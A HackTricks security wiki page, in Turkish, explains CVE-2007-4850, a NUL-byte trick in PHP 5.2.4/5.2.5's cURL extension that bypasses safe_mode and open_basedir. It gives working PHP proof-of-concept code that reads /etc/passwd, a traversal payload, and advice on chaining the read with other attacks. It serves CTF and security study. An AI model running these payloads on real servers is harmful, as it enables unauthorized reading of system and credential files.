PHP 5.2.4 ve 5.2.5 PHP cURL

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu sayfa, belirli PHP 5.2.x build’lerinde cURL extension’u kullanarak PHP safe_mode/open_basedir kontrollerini atlatmaya yarayan, eski ama hâlâ CTF’lerde/local-legacy-installs kullanışlı bir numarayı belgelemektedir.

  • Etkilenen: PHP 5.2.4 ve 5.2.5 (ext/curl etkin).
  • Etki: safe_mode veya open_basedir kısıtlamalarına rağmen rastgele yerel dosyaları okuma (doğrudan kod yürütme yok).
  • ID: CVE-2007-4850.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Tek satırlık PoC

Eğer safe_mode veya open_basedir aktifse ve cURL etkinse, aşağıdaki mevcut script’in içeriğini döndürecektir:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Daha açık PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notlar:

  • Gerçek bir NUL baytını enjekte etmek için çift tırnak veya chr(0) kullanın. Percent-encoding (%00) güvenilir şekilde çalışmayacaktır.
  • Bu bir dosya okuma primitifidir. Mümkünse daha fazla yükseltme için diğer primitiflerle (log poisoning, session file inclusion, etc.) birleştirin.

Neden bu çalışır (kısa)

Zafiyet, PHP 5.2.4/5.2.5’in ext/curl içindeki file:// URL’leri için safe_mode/open_basedir kontrollerini nasıl gerçekleştirdiğinde yatmaktadır. Kontrol URL’yi ayrıştırdı ve bir yol bileşenini doğruladı, ancak NUL-byte işleme nedeniyle doğrulayıcı ile libcurl’ün aslında kullandığı dize farklı oldu. Pratikte, doğrulayıcı NUL’den sonraki yolu onaylarken libcurl NUL’den önceki kısmı URL konteyneri olarak kullandı; bu da NUL baytından sonra yerleştirilen dosyanın okunmasıyla sonuçlanan bir bypass’a izin verdi. Detaylar için orijinal analiz ve curl/interface.c içindeki etkilenen makroya bakın. [CVE-2007-4850].

Kısıtlar ve düzeltmeler

  • ext/curl’deki ayrıştırma/doğrulamayı düzelterek daha sonraki 5.2.x sürümlerinde (ör. distro build’leri 5.2.6’ya yamanmış) düzeltildi.
  • Çok eski PHP dağıtımlarını etkiler; safe_mode PHP 5.4’te kaldırıldı ve modern build’ler bu davranışı göstermez.

İlgili tarihsel cURL tabanlı bypass’lar

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl sarıcıları gömülü NUL’lerle file:// erişimine izin veriyordu ve open_basedir’ı atlıyordu; 5.2.x öncesinde düzeltildi.
  • PHP bug’ları #30609/#36223, canonicalization olmadan file:// kullanan erken cURL open_basedir sorunlarını izledi. NUL baytından önceki herhangi bir kontrol veya realpath tarzı çözümleme olmadan yapılan kontroller aynı kırpılmaya açıktır.

CTF ipuçları

  • ext/curl yüklü ve PHP 5.2.4/5.2.5 olduğunu tespit ettiğinizde (phpinfo() içinde cURL support => enabled ve tam PHP Version’a bakın), allow_url_fopen devre dışı olsa bile bu hile genellikle çalışır çünkü ext/curl file://’ü kendisi işler.
  • Doğrudan yollar engelliyse, NUL’den sonra relatif traversal deneyin, örn. file://x\x00../../../../etc/passwd. Traversal libcurl tarafından çözülür, open_basedir koruması tarafından değil.
  • Kullanıcı kontrollü URL’leri curl_exec() içine yansıtan (legacy SSRF-benzeri uç noktalarda yaygın) savunmasız sunucu tarafı kodu üzerinden LFI tetiklemek için payload’u tek bir HTTP istek gövdesine sarabilirsiniz.

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin